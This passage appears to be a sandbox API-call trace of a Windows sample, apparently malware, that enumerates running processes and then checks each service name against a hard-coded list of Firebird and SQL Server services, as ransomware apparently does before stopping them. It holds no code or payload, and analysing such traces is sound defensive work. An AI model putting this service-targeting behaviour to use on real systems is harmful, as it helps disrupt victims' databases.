th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.687] lstrlenW (lpString="svchost.exe") returned 11 [0206.687] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.688] lstrlenW (lpString="audiodg.exe") returned 11 [0206.688] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0206.689] lstrlenW (lpString="sihost.exe") returned 10 [0206.689] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.690] lstrlenW (lpString="svchost.exe") returned 11 [0206.691] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0206.691] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0206.692] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0206.693] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0206.693] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0206.694] lstrlenW (lpString="Memory Compression") returned 18 [0206.694] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0206.695] lstrlenW (lpString="taskhostw.exe") returned 13 [0206.695] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0206.696] lstrlenW (lpString="msoia.exe") returned 9 [0206.696] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.697] lstrlenW (lpString="explorer.exe") returned 12 [0206.697] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0206.698] lstrlenW (lpString="SearchUI.exe") returned 12 [0206.698] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0206.699] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0206.699] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0206.700] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0206.700] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.701] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0206.701] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0206.701] lstrlenW (lpString="wmxsde.exe") returned 10 [0206.702] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.702] lstrlenW (lpString="svchost.exe") returned 11 [0206.703] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.703] lstrlenW (lpString="cmd.exe") returned 7 [0206.703] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.708] lstrlenW (lpString="conhost.exe") returned 11 [0206.708] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.709] lstrlenW (lpString="cmd.exe") returned 7 [0206.709] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.710] lstrlenW (lpString="conhost.exe") returned 11 [0206.710] Process32NextW (in: hSnapshot=0x354, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0206.711] CloseHandle (hObject=0x354) returned 1 [0206.711] Sleep (dwMilliseconds=0x1f4) [0207.655] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fec88 [0207.656] EnumServicesStatusExW (in: hSCManager=0x5fec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0207.657] GetLastError () returned 0xea [0207.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1ca4) returned 0x4293088 [0207.657] EnumServicesStatusExW (in: hSCManager=0x5fec88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4293088, cbBufSize=0x1ca4, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4293088, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0207.658] CloseServiceHandle (hSCObject=0x5fec88) returned 1 [0207.658] lstrlenW (lpString="Appinfo") returned 7 [0207.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0207.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0207.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0207.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0207.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0207.658] lstrlenW (lpString="AppXSvc") returned 7 [0207.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0207.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0207.659] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0207.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0207.659] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0207.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0207.659] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0207.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0207.659] lstrlenW (lpString="Audiosrv") returned 8 [0207.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0207.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0207.659] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0207.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0207.659] lstrlenW (lpString="BFE") returned 3 [0207.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0207.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0207.659] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0207.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0207.659] lstrlenW (lpString="BITS") returned 4 [0207.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0207.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0207.659] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0207.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0207.659] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0207.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0207.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0207.659] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0207.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0207.660] lstrlenW (lpString="CDPSvc") returned 6 [0207.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0207.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0207.660] lstrlenW (lpString="ClickToRunSvc") returned 13 [0207.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0207.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0207.660] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0207.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0207.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0207.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0207.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0207.660] lstrlenW (lpString="CryptSvc") returned 8 [0207.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0207.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0207.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0207.660] lstrlenW (lpString="DcomLaunch") returned 10 [0207.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0207.660] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0207.660] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0207.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0207.661] lstrlenW (lpString="DeviceAssociationService") returned 24 [0207.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0207.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0207.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0207.661] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0207.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0207.661] lstrlenW (lpString="Dhcp") returned 4 [0207.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0207.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0207.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0207.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0207.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0207.661] lstrlenW (lpString="Dnscache") returned 8 [0207.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0207.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0207.661] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0207.661] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0207.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0207.661] lstrlenW (lpString="DPS") returned 3 [0207.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0207.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0207.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0207.661] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0207.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0207.661] lstrlenW (lpString="DusmSvc") returned 7 [0207.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0207.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0207.661] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0207.662] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0207.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0207.662] lstrlenW (lpString="EventLog") returned 8 [0207.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0207.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0207.662] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0207.662] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0207.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0207.662] lstrlenW (lpString="EventSystem") returned 11 [0207.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0207.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0207.662] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0207.662] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0207.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0207.662] lstrlenW (lpString="FontCache") returned 9 [0207.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0207.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0207.662] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0207.662] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0207.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0207.662] lstrlenW (lpString="gpsvc") returned 5 [0207.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0207.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0207.662] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0207.662] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0207.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0207.662] lstrlenW (lpString="iphlpsvc") returned 8 [0207.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0207.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0207.663] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0207.663] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0207.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0207.663] lstrlenW (lpString="KeyIso") returned 6 [0207.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0207.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0207.663] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0207.663] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0207.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0207.663] lstrlenW (lpString="LanmanServer") returned 12 [0207.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0207.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0207.663] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0207.663] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0207.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0207.663] lstrlenW (lpString="LanmanWorkstation") returned 17 [0207.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0207.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0207.663] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0207.663] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0207.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0207.663] lstrlenW (lpString="lfsvc") returned 5 [0207.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0207.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0207.663] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0207.663] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0207.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0207.663] lstrlenW (lpString="lmhosts") returned 7 [0207.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0207.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0207.664] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0207.664] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0207.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0207.664] lstrlenW (lpString="LSM") returned 3 [0207.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0207.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0207.664] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0207.664] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0207.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0207.664] lstrlenW (lpString="MpsSvc") returned 6 [0207.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0207.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0207.664] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0207.664] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0207.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0207.664] lstrlenW (lpString="NcbService") returned 10 [0207.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0207.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0207.664] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0207.664] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0207.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0207.664] lstrlenW (lpString="netprofm") returned 8 [0207.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0207.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0207.664] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0207.664] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0207.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0207.664] lstrlenW (lpString="NgcSvc") returned 6 [0207.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0207.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0207.665] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0207.665] lstrlenW (lpString="NlaSvc") returned 6 [0207.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0207.665] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0207.665] lstrlenW (lpString="nsi") returned 3 [0207.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0207.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0207.665] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0207.665] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0207.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0207.665] lstrlenW (lpString="PcaSvc") returned 6 [0207.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0207.665] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0207.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0207.665] lstrlenW (lpString="PlugPlay") returned 8 [0207.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0207.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0207.665] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0207.665] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0207.666] lstrlenW (lpString="Power") returned 5 [0207.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0207.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0207.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0207.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0207.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0207.666] lstrlenW (lpString="ProfSvc") returned 7 [0207.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0207.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 